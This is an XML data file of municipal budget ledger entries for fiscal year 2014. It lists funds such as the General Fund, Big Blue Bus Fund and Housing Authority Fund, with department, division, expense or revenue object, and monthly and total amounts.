<row _id="13294"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>105023.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105023.0</total></row>
<row _id="13295"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="13296"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>61500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61500.0</total></row>
<row _id="13297"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>408150.0</object><object_description>ALT FUEL TAX CREDIT</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-1276228.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1276228.0</total></row>
<row _id="13298"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12200.0</total></row>
<row _id="13299"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19479.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19479.0</total></row>
<row _id="13300"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="13301"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-10294.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>832</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9462.0</total></row>
<row _id="13302"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2748.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-832</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3580.0</total></row>
<row _id="13303"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2474.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2474.0</total></row>
<row _id="13304"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-359.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-359.0</total></row>
<row _id="13305"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1718.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1718.0</total></row>
<row _id="13306"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-35533.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35533.0</total></row>
<row _id="13307"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4925.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4925.0</total></row>
<row _id="13308"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4246.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4246.0</total></row>
<row _id="13309"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577723.0</object><object_description>CDBG - RESIDENTIAL REHAB PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>300000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300000.0</total></row>
<row _id="13310"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409002.0</object><object_description>CHILDCARE-OCTOBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-35467.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>35467</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13311"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409005.0</object><object_description>CHILDCARE-JANUARY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-31130.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>31130</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13312"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556170.0</object><object_description>SOLD FLOWERS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11000.0</total></row>
<row _id="13313"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4638.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4638.0</total></row>
<row _id="13314"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="13315"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3466.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3466.0</total></row>
<row _id="13316"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1600.0</total></row>
<row _id="13317"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>136.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>136.0</total></row>
<row _id="13318"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20819.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20819.0</total></row>
<row _id="13319"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="13320"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2287.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2287.0</total></row>
<row _id="13321"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2533.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2533.0</total></row>
<row _id="13322"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-923789</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-923789.0</total></row>
<row _id="13323"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400882.0</object><object_description>SPC HAP TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-1526948</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1526948.0</total></row>
<row _id="13324"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400924.0</object><object_description>SPC ADMIN EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-11714.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>11714</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13325"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400925.0</object><object_description>SPC ADMIN NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-34068.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>34068</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13326"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="13327"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8250.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>123</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8373.0</total></row>
<row _id="13328"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="13329"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13133.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13133.0</total></row>
<row _id="13330"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>185819.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>185819.0</total></row>
<row _id="13331"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="13332"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21500.0</total></row>
<row _id="13333"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
<row _id="13334"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="13335"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>130.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>130.0</total></row>
<row _id="13336"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3438.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3438.0</total></row>
<row _id="13337"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1045.0</july><august>0</august><september>0</september><october>0</october><november>452</november><december>71</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1568.0</total></row>
<row _id="13338"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560050.0</object><object_description>TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>27675.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>6623</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34298.0</total></row>
<row _id="13339"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7682.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7682.0</total></row>
<row _id="13340"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571120.0</object><object_description>S+C HAP TRA</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1526948.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1526948.0</total></row>
